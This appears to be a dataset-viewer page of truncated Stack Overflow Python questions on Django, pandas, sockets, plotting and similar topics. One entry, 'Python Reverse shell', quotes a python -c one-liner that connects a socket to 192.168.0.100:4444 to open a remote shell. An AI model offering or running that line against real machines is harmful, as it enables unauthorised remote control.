text stringlengths 226 34.5k |
|---|
Overwrite variable from another class in another file in Python
Question: I'm trying to update my UI via a variable in another python file. Both are in
there own class. Both saved in a folder called: System. As I don't want to re-
execute UI, I can't simply import the file. My question: how does one change a
variable f... |
Python requests_toolbelt MultipartEncoder filename
Question: Using requests_toolbelt to upload large files in a Multipart form, I have
constructed a method below which succeeds in uploading the file, however I
cannot access the posted filename. How do I access the filename on the server?
# client-side
... |
Read .sph files in Python
Question: I am working on a project where I need to extract the Mel-Cepstral Frequency
Coefficients (MFCC) from audio signals. The first step for this process is to
read the audio file into python.
The audio files I have are stored in a .sph format. I am unable to find a
method to read these ... |
Using postgres thru ODBC in python 2.7
Question: * I have installed Postgres.app and started it.
* I have pip installed pypyodbc
* I have copied the hello world lines from the Pypyodbc docs, and received the error below. any ideas what the issue might be?
Here is my code
from __future__ import p... |
connect to third server using script
Question: I can do ssh from one server to another using this:
# ssh [email protected]
The following code is doing the same in pythonic way:
import paraminko
#paramiko.util.log_to_file('ssh.log') # sets up logging
client = paramiko.... |
python cross platform testing: mocking os.name
Question: ## what is the correct way to mock `os.name`?
I am trying to unittest some cross-platform code that uses `os.name` to build
platform-appropriate strings. I am running on a Windows machine but want to
test code that can run on either posix or windows.
I've tried... |
Python Reverse shell
Question: I am trying to get a reverse shell from a windows machine (python installed).
Is there a short script to do that?
I tried using the following script:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.100",4444))... |
Django migrations
Question: I am trying to build a blog on django. I have gone as far as creating models.
Here they are:
from django.db import models
import uuid
class Users(models.Model):
username = models.CharField(max_length = 32, primary_key = True)
password = models... |
NameError: name 'TigerXtrm' is not defined
Question: I'm in the process of installing a piece of software from Github:
<https://github.com/bravecollective/core>
It uses MongoDB, Python and WebCore to run. I've managed to get it running and
now I've arrived at the part where I need to make myself an admin user.
Accordi... |
PyGame Menu Formatting
Question: So I've been recently working on programming a game in Python as well as an
external library called PyGame. If anyone is familiar with the game
Hearthstone, that is sort of the feel I'm going for. However, that is besides
the point. I have already researched how to display images and th... |
Error code with if statement
Question: I just set up a new python script and when I run it I get the error code:
File "conversion.py", line 17
elif filetype == "Audio":
^
My code is:
if filetype == "Document":
path = raw_input("Please drag and drop the dire... |
Python Django migrate_schemas --shared TypeError: hasattr(): attribute name must be string upon
Question: I am trying to create a python django-mako-plus project with a django-tenant-
schema. I followed the instructions exactly as the tutorial here:
<https://django-tenant-schemas.readthedocs.org/en/latest/install.html... |
Django CreateView does not save object
Question: I'm trying to use a Create View class in a Django App, but can't save the
object. I tried some suggestions posted in related questions
[here](http://stackoverflow.com/questions/17826778/django-createview-is-not-
saving-object) and [here](http://stackoverflow.com/question... |
Iterate over groups of rows in Pandas
Question: I am new to pandas and python in general - grateful for any direction you can
provide!
I have a csv file with 4 columns. I am trying to group together rows where the
first three columns are the same on all rows (Column A Row 1 = Column A Row 2,
Column B Row 1 = Column B ... |
python3 - broken pipe error when using socket.send()
Question: I am programming a client-server instant message program. I created a similar
program in Python 2, and am trying to program it in Python 3. The problem is
when the server takes the message and tries to send it to the other client, it
gives me "[Errno 32] Br... |
Is MATLAB faster than Python (little simple experiment)
Question: I have read this ( [Is MATLAB faster than
Python?](http://stackoverflow.com/questions/2133031/is-matlab-faster-than-
python) ) and I find it has lots of ifs.
I have tried this little experiment on an old computer that still runs on
Windows XP.
In MATLA... |
Linear Directed Acyclic Graph
Question: I have an OCR task, where I over-segment the image. Now I want to build a
data-structure (a variety of a directed acyclic graph) to get all possible
combinations of images.
Example:

I start with splitting it into four parts,... |
get current url from browser python
Question: I am running an HTTP server which serves a bitmap according to the dimensions
in the browser url i.e localhost://image_x120_y30.bmp . My server is running
in infinite loop and I want to get the url any time user requests for BITMAP .
so , I can extract image dimensions from... |
wxPython New, Save, and SaveAs Methods
Question: I'm writing a UI for a python app with wxPython. I've handled a few of the OnX
functions but I need help with OnNew and OnSave/SaveAs
Here is my Save and SaveAs code:
def OnSave(self, event):
self.dirname = ""
saveFileDialog = wx.FileDialo... |
Using relative imports in python with mutliple parent and children folders
Question: I had a small problem with importing a script that was in a parent folder, but
I managed to resolve it using:
import sys
sys.path.append("../")
My directory is like this:
Data
|->->code
... |
python - fill cells with colors using openpyxl
Question: I am currently using openpyxl v2.2.2 for Python 2.7 and i wanted to set colors
to cells. I have used the following imports
import openpyxl,
from openpyxl import Workbook
from openpyxl.styles import Color, PatternFill, Font, Border
from ... |
Linking html, python and sql
Question: I'm trying to link html form with python and sql. My requirement is that the
user gives an input and that input should be sent to some python function
block to execute an sql statement on MS SQL Server and return the results back
to the user. Please help in linking the below code ... |
Remove AD user from Security group using Python
Question: I am trying to remove a user from a security group using Python and pywin32,
but so far have not been successful. However I am able to add a user to a
security group.
from win32com.client import GetObject
grp = GetObject("LDAP://CN=groupn... |
Animate scatter plot
Question: I'm building a Python tool for visualizing data structures in 3D. The code
below is the full program, it's even set up to run a default test model with
some random data; you just need numpy and matplotlib. Basically, you declare a
Node, connect it to other Nodes, and it makes pretty 3D ne... |
Python Bottle SSE
Question: I'm trying to get Server Sent Events to work from Python, so I found a little
demo code and to my surprise, it only partly works and I can't figure out why.
I got the code from [here](https://gist.github.com/werediver/4358735) and put
in just a couple little changes so I could see what was w... |
Changing font for part of text in python-pptx
Question: I'm using the python-pptx module to create presentations. How can I change the
font properties only for a part of the text?
**I currently change the font like this:**
# first create text for shape
ft = pres.slides[0].shapes[0].text_frame
ft... |
Docker - Mount Windows Network Share Inside Container
Question: I have a small Python application that I'd like to run on Linux in Docker
(using boot2docker for now). This application reads some data from my Windows
network share, which works fine on Windows using the network path but fails on
Linux. After doing some r... |
Python urllib timeout error even with headers for certain websites
Question: I'm writing a simple Python 3 script to retrieve HTML data. Here's my test
script:
import urllib.request
url="http://techxplore.com/news/2015-05-audi-r8-e-tron-aims-high.html"
req = urllib.request.Request(
... |
RabbitMQ - routing messages after they reach their expiration time
Question: I've recently found out RabbitMQ feature that allows you to delay messages and
it works great although I couldn't find any examples similar to what I need:
Let's say there are 3 types of messages: A, B and C. We've got 2 delay_queues
with 1 h... |
How to scale up picture in Python?
Question: I am really do not know how to scale up a part of picture. I need scale up
someone's nose.
Example:
def scaleUp():
pic=makePicture(pickAFile())
width=getWidth()
height=getHeight()
Answer: You can use
[Pillow](http://pillow.readt... |
error importing igraph
Question: On importing igraph in python, I get an error (see below). Since igraph is not
part of anaconda, I executed the below outlined steps for installation.
What is libglpk.35.dylib, how should I load it, and why is this problem
occurring?
## igraph cannot be imported
'' impo... |
Panda3d error No module named direct.showbase.ShowBase in python 2.7
Question: I already checked ( in stack exchange and other sites) and googled my problem
but all solution seems useless. Here's the problem :
My computer had win xp and had python2.7 and panda3d (version 1.8.1) installed
(python in D: and panda3d in C... |
python to understand human friendly (plain English) date specification
Question: Is there an existing Python package that integrates with `datetime` and
understands human-friendly date specification format, somewhat similar to how
`/usr/bin/date` on `GNU Linux` does it?
$ date -d 'today'
Thu May 28 1... |
How to convert an input number 34,6 to decimal form 34.6 in Python
Question: How to convert an input number 34,6 to decimal form 34.6 in python? I made
simple program in pyqt4 GUI and in Germany the Germans consider "," as "." so
how can I convert my input "a" (line Edit) number to decimal ?
def test(sel... |
Django: How to change the page at the click of a line?
Question: I'm trying to make some views in Ddjango when i click on a line in a tag in
HTMl and i need some advise and please take into account that i'm a beginner
in Django. Indeed, i would like to change my view when i click on it, what
will open a new view called... |
Add a list of labels in Pythons matplotlib
Question: I have a 3 dimensional plot in matplotlib, the input data consists of 3 lists
of x,y,z coordinates and a list of labels that indicates which class each
coordinate set belongs too. From the labels I create a colour list that then
assigns a colour to each of coordinate... |
Python - Access a function in a child class
Question: I am rewriting a Tkinter program of mine and I want to separate the logic and
UI into two different files: `main.py`, `ui.py`
In main we have a class `MainApp()` which handles all of the core
functionality of the program.
In ui we have a class `BaseApp()` which is... |
file writing permission error as user www-data
Question: I am trying to write to a file by running a python script as user www-data.
When I run the script using the following:
sudo python my_script.py
it writes fine. When I run the PHP script as www-data it doesn't write.
Permissions:
... |
Python csv from database query adding a custom column to csv file
Question: here is what I try to achieve my current code is working fine I get the query
to run on my sql server but I will need to gather information from several
servers. How would I add a column with the dbserver listed in that column?
i... |
Having the Error "ImportError: No module named setupconfig" with kivy
Question: Trying to run the script in the question: [Kivy Text Input for Arabic
Text](https://stackoverflow.com/questions/30514853/kivy-text-input-for-arabic-
text).
from kivy.app import App
from kivy.uix.floatlayout import FloatLa... |
How can I include only one folder from another repository in Git?
Question: I have a python module which looks like this.
|
|-- my_module/
|-- tests/
|-- .git/
I'd like to use it in another project. Normally submodules would suffice,
however, I'd rather just drop in the actual module wi... |
use python requests to post a html form to a server and save the reponse to a file
Question: I have exactly the same problem as this post
[Python submitting webform using
requests](https://stackoverflow.com/questions/22407580/python-submitting-
webform-using-requests)
but your answers do not solve it. When I execute ... |
Using basemap and matplotlib- parallels dont show up
Question: I have a script that plots cruise positions.
The transect plots fine however I get a error message about plotting my
parallels.
Here is the error message :
Traceback (most recent call last):
File "csv_matplot.py", line 37, in <module>... |
Can a callout to C presize a Python dict's capacity?
Question: As an optimization for handling a dict which will hold tens or hundreds of
millions of keys, I'd really, really like to pre-size its capacity... but
there seems no Pythonic way to do so.
Is it practical to use Cython or C callouts to directly call CPython'... |
Avoid loops in the computation of logistic equation?
Question: I am trying to calculate the nth value of a logistic equation in Python. It is
easy to do it with a loop:
import timeit
tic = timeit.default_timer()
x = 0.23
i = 0
n = 1000000000
while (i < n):
x = 4 * x * (1 ... |
Python package usage
Question: I have "Dir A" which contains "Dir B" and "Dir C".
"Dir B" has "file.py" and "Dir C" has "library.py". I want to be able to
import "library.py" into "file.py". and other possible files. I am very
confused how to do it. Can someone help please?
I tried putting "**init**.py" inside differ... |
Pulling out quotes from within a text file
Question: Let's say I have a text file in python that says:
the data starts
test Age="0" Order="51" Doctor-ID="XX2342"
test Age="0" Order="53" Doctor-ID="XX2342"
end of data
What code would return:
"0" "51" "XX2342"
"0" "53" ... |
Python faulthandler show error window
Question: I might be totally overlooking something but is there a way to show a custom
error window when while using the `faulthandler` package.
Currently I'm just writing to a log file using:
faulthandler.enabled(file=open("crash.log", "w"))
however it would... |
Python Numpy Error: ValueError: setting an array element with a sequence
Question: I am trying to build a dataset similar to mnist.pkl.gz provided in theano
logistic_sgd.py implementation. Following is my code snippet.
import numpy as np
import csv
from PIL import Image
import gzip, cPickle
... |
django access control based on a model field value
Question: I have a model class `Department` with a field `name`. I have another Model
`Student` with a foreign key to `Department`. I want to control access to
`Student` objects based on department. That is, a user with permission to edit
the department with name "CS" ... |
c# method not returning string to python
Question: I am trying to call c# code from python using ctypes module. The problem is c#
method returning integer value properly but not doing so for string. It
returns different numbers instead of string. The number also varies each time
it runs. Can anyone please tell what is ... |
how to store csv field values in an array in python
Question: Suppose I have two csv files file1.csv
event_id, polarity
1124, 0.3763
36794, 0.638
dhejjd, 0.3627
file2.csv
event_id, tallies
61824, 0.3
36794, 0.8
dhejjd, 0.9
dth... |
Python import variable from file
Question: i have a this 2 file: main.py and abc.py
main.py is:
dm = [100, 200, 300]
import abc
abc.abcp(dm)
from abc import *
pabc = abc.dmabc
print pabc
abc.py is:
def abcp(dm):
dmabc = list(dm)
dmabc[0] -= 50
... |
combine python function with for loops in bash terminal
Question: I aimed to open multiple files (one by one, using for loop in bash terminal)
and modify it using PLINK (a programme) and later on, python function.
Following are the codes:
for i in {1..10}; do
plink --cow --noweb --lfile $i --extrac... |
Matplotlib into a Django Template
Question: Im using python 3.4 and Django 1.8. I want to "print" a matplotlib result in a
Django template. I reach this a few days ago, so I continue in other things of
my Django App. Now, I dont know why, I was going to show the result to a
friend, and my template with a matplotlib gra... |
Python API's Require OAUTH_TOKEN and OAUTH_TOKEN_SECRET Keys
Question: How do I get these keys from LinkedIn?
OAUTH_TOKEN and OAUTH_TOKEN_SECRET
When I register my application on LinkedIn Developer, I'm only getting:
CONSUMER_KEY, CONSUMER_SECRET
I have two Python functions wh... |
Huge file handling and sorting using python
Question: Im currently working on a program that uses a file having data in the format -
6 columns and dynamic no. of rows.
The file I got for testing is 26 mb and following is the program that converts
first 3 columns into 3 different lists.
f = open('foo', '... |
How to make panda3d accept controls faster?
Question: Hi I am trying to make a game on panda3d v 1.8.1 (python) but the controls
seem to be very sloppy. One has to keep the keys pressed for a second or two
to make things happen. Is there any way to make panda3d accept controls faster
?
Here's my code of my key handler... |
accessing variables from main method in python idle
Question: So I know if I create a python file with no main method declared and then I
run it, I'm able to access the variables within that file from the idle, but
if I do declare a main method, then I cannot access any variables from the
idle after the main method has... |
Adding mongoDB document-array-element using Python Eve
Question: **Background:** (using Eve and Mongo)
I'm working in Python using the [Eve](http://python-eve.org) REST provider
library connecting and to a mongoDB to expose a number of REST endpoints from
the database. I've had good luck using Eve so far, but I've run... |
Hough transform detect shorter lines
Question: Im using opencv hough transform to attempt to detect shapes. The longer lines
are all very nicely detected using the HoughLines method.but the shorter lines
are completely ignored. Is there any way to also detect the shorter lines?
the code I'm using is described on this ... |
How to initialize GoogleCredentials object without using credentials files created by gcloud auth login
Question: To connect to GCE i can use the credentials files created by _gcloud auth
login_. Like this:
from oauth2client.client import GoogleCredentials
from googleapiclient.discovery import build
... |
Relative performance of large and small lists and bytearrays of boolean values
Question: I was writing a simple [Sieve of
Eratosthenes](http://en.wikipedia.org/wiki/Sieve_of_Eratosthenes) in which one
produces a list of all of primes up to some number N without performing any
division or modular arithmetic. Abstractly,... |
Embded Python Import Ctypes fails
Question: I'm using Python for .Net using python 2.7, I copied All the needed
directories from the Python2.7 into my Application Directory when I try to
import ctypes, in the interactive shell
import ctypes
the Error is
Traceback (most recent call la... |
<class 'socket.error'>([Errno 111] Connection refused)
Question: I'm working on an home automation app using python, but since migration this
from my local setup to two physical machines(Server, Client) i am getting a
connection refused error:
> Traceback (most recent call last): File "/opt/web-
> apps/web2py/gluon/re... |
Basic addition with Python, numbers don't add
Question: I'm pretty new to Python and I was trying to make a basic addition program.
Here is the source so far:
from os import system
import time
while True:
system("cls")
print "Number 1:"
num1 = raw_input()
syst... |
HTTPS proxy server python
Question: I have a problem with my ssl server (in Python). I set the SSL proxy
connection in my browser, and try to connect to my ssl server.
This is the server:
import BaseHTTPServer, SimpleHTTPServer
import ssl
httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), ... |
Python efficient socket communication
Question: i recently started making a pure skype resolver and after doing everything
fine i stuck on the socket communication.
## Let me explain
I'm using python to get the user's IP and then the script opens a socket
server and it sends the username to an other program written i... |
Disable ssl certificate validation in mechanize
Question: I am new to python and I was trying to access a website using mechanize.
br = mechanize.Browser()
r=br.open("https://172.22.2.2/")
Which gives me the following error:
Traceback (most recent call last):
File "<pyshell... |
read csv files pandas slice arrays
Question: I'm a python newbie and am having trouble reading a csv to pandas and working
with it. Here is a bit of my csv file:
A B
1 56
2 76
3 23
4 45
5 54
6 65
7 22
And my python code:
import numpy as np
... |
Is SetGID/SetUID on a Go[lang] binary safe?
Question: I've written a simple
[go](/questions/tagged/go "show questions
tagged 'go'") program using YAML and the MySQL drivers with the intention of
providing a simple utility to update a database without exposing the username
and password ... |
Building an animation using Python Gizeh
Question: I am able to create a simple diagram with shapes and numbers. I am using the
following code:
import gizeh as gz
W, H = 500, 300
surface = gz.Surface(W,H, bg_color=(1,0.7,1))
for a in range(1,9):
rect = gz.rectangle(lx =... |
Python Uncertainties Unumpy type bug?
Question: I am having a hard time with pythons uncertainties package. I have to evaluate
experimental data with python, which I've been doing for a while but never
encountered the following problem:
>>>from uncertainties import ufloat
>>>from uncertainties import... |
How can this datetime variable be converted to the string equivalent of this format in python?
Question: I am using python 2.7.10
I have a datetime variable which contains `2015-03-31 21:02:36.452000`. I want
to convert this datetime variable into a string which looks like `31-Mar-2015
21:02:36`.
How can this be done... |
ajax failing getting data from pre element after it gets filled
Question: The thing is that i have an embedded python interpreter and after a user
presses "Run", the output from interpreter gets transferred to a pre element.
I want to take that data from pre element and send it to django server through
AJAX. The proble... |
Using cElementTree in python 3
Question: `cElementTree` is the fast, C implementation of the XML API `ElementTree`. In
python 2 you would load it explicitly (aliasing it to `ElementTree`), but in
[the Python 3
docs](https://docs.python.org/3.4/library/xml.etree.elementtree.html) I read
this:
> _Changed in version 3.3:... |
Run Django tests PyCharm with coverage
Question: I'm quite a beginner with Django, especially with testing. Since it is a best
practice, I hope I can get this up and running...
I just started a project (called leden), and made my first testfile
**test_initial.py**.
class test_LidViewTests(TestCase):
... |
Unsupported major.minor version 52.0, tomcat 7, java 7/8 problems
Question: I know there are tons of these questions. I have been through a lot. I have
been stuck on this issue for >24 hours.
I am using:
* Windows 8.1, 64bit
* Eclipse as IDE
* Tomcat 7
I want to do:
Make a small website with 4 pages that load... |
Applying math.ceil to an array in python
Question: What is the proper way to apply math.ceil to an entire array? See the
following Python code:
index = np.zeros(len(any_array))
index2 = [random.random() for x in xrange(len(any_array))
##indexfinal=math.ceil(index2) <-?
And I wa... |
sys_platform is not defined x64 Windows
Question: This has been bugging me for a little while. I recently upgraded to x64
Python, and I started getting this error (example pip install).
C:\Users\<uname>\distribute-0.6.35>pip install python-qt
Collecting python-qt
Downloading python-qt-0.50.tar.... |
No recipients have been added when trying to send message with Flask-Mail
Question: I am trying to send email with Flask-Mail. I create the message with
recipients, but I get `AssertionError: No recipients have been added` when I
try to send it. In the following code, I print out the message recipients and
they are cor... |
Python change Accept-Language using requests
Question: I'm new to python and trying to get some infos from IMDb using requests
library. My code is capturing all data (e.g., movie titles) in my native
language, but i would like to get them in english. How can i change the
accept-language in requests to do that?
Answer... |
Clickable Icon in Python GTK
Question: Does anyone know how to create a custom button with custom icon in PyGTK? I
would like to make a program in python GTK that works similar to a settings
menu or control panel. I know PyGTK has stock buttons like cancel, exit, and
ok; but I'm unable to change the labels or icons of ... |
regex conditional matching
Question: I am trying to use `re.findall` to find this pattern:
01-234-5678
regex:
(\b\d{2}(?P<separator>[-:\s]?)\d{2}(?P=separator)\d{3}(?P=separator)\d{3}(?:(?P=separator)\d{4})?,?\.?\b)
however, some cases have shortened to 01-234-5 instead of 01-234-0005 when ... |
How could I make this code more "automated"?
Question: I did this code yesterday trying to test how really random are the random
numbers that Python generates:
# -*- coding: cp1252 -*-
import random
print "Bienvenido al Analizador del Azar, este programa generará 100 números para aleatorios, para... |
How to pass a variable between functions in Python
Question: Sorry for the long code, but I felt that it was important that I include what
I was trying to accomplish. I am a beginner with Python and programming in
general and I was trying to make a simple text-based adventure game. The game
was working good at first un... |
Reading multiple data files with a loop on Python
Question: Hi I have a over 200 data files with name similar names like
abc.20.0000.catalog.out , abc.20.1000.catalog.out, abc.20.2000.catalog.out
...... abc.40.0000.catalog.out
Each file contains data like this
Group catalog for redshift 18.1000
... |
Want to make a list of words using python where the student received a 0 for the word in that column
Question: Relatively new to python, and programming in general, but want to take a
student assessment list and iterate through each row then print a list that
includes the student name and each word (column name) that t... |
How am I computing e^x incorrectly?
Question: I am trying to estimate `e^x` using the power series for approximation in
Haskell.
import Data.Function
-- Take two integers and divide them and return a float as a result.
-- So 1/2 would be 0.5
fd :: Int -> Int -> Double
fd = (/) `on` f... |
HappyBase and Atomic Batch Inserts for HBase
Question: With the HappyBase API for HBase in Python, a batch insert can be performed by
the following:
import happybase
connection = happybase.Connection()
table = connection.table('table-name')
batch = table.batch()
# put several rows to this... |
RaspberryPi - MySQLdb
Question: Hello Stackoverflow users,
For my student project i need to use python and mysql, but when i try to use
i've this kind of error
> Traceback (most recent call last): File "myRFIDserv.py", line 2, in import
> MySQLdb ImportError: No module named MySQLdb
I 've try to fix this with the in... |
Unable to create directory or file in WebHdfs
Question: Hortonworks Sandbox file browser shows WebHdfsException, and in CLI I'm unable
to create directory or file. What is wrong?
WebHdfsException at /filebrowser/
<urlopen error [Errno 111] Connection refused>
Request Method: GET
... |
How are numeric and string variables determined in SPSS?
Question: So I found this page that explains the different types of variables very well:
<http://www.spss-tutorials.com/spss-variable-types-and-formats/>
I would like to know though, how numeric and string types are differentiated
when I export my data? Are nume... |
Python/iptables: Original Destination IP
Question: I'm trying to get original destination information for packets redirected with
iptables (the ultimate goal is to redirect all network traffic to localhost
while retaining the original destination ip).
I'm sending packets using the following code:
impor... |
how to write such a regular expression in Python
Question: I want to write a python regular expression which match a URL like the
following rules.
1. start with "http://"
2. in the domain part, end with "some.domain"
3. in the path part, exclude end with a list of words like "tar", "zip"
4. the url may contain... |
How the function auto.arima() in R determines d?
Question: What is the test used in auto.arima() function in R to determine stationarity
i.e to determine the value of "d" Can that logic be implemented in python?
Answer: This [link](https://www.otexts.org/fpp/8/7) says it is determined using
repeated KPSS tests. I see... |
Script to download website source to a folder
Question: I am trying to learn simple automation. I have set up an Ubuntu Server and I
want to configure it to download html source from a specific URL and append to
a file in a specified folder on the server every 1 minute.
The URL is just basic html with no CSS whatsoeve... |
Python Template, checking for variable value type for iteration
Question: Say that I have this dictionary
{"k1":"dog", "k2":"cat", "k3":["Pochi","Wanwan"]}
Now in my template, I'm iterating like so:
{% for key, value in dict.iteritems() %}
<tr>
<td>{{ key }}</td>
... |
Django 1.8 Loggers settings are ignored
Question: I'm fighting with django logging since this morning and nothing... I've read
the [documentation](https://docs.djangoproject.com/en/1.8/topics/logging/)
then searched Google and found
[this](http://www.webforefront.com/django/setupdjangologging.html) and
[this](https://w... |
Ipython Notebook: Error in importing module
Question: I am trying to import kabuki module. I installed the module in the terminal
using easy_installation and everything seems in order. But when I import it in
IPython notebook, I get the following error:
ImportError: dlopen(/Applications/anaconda/lib/pyth... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.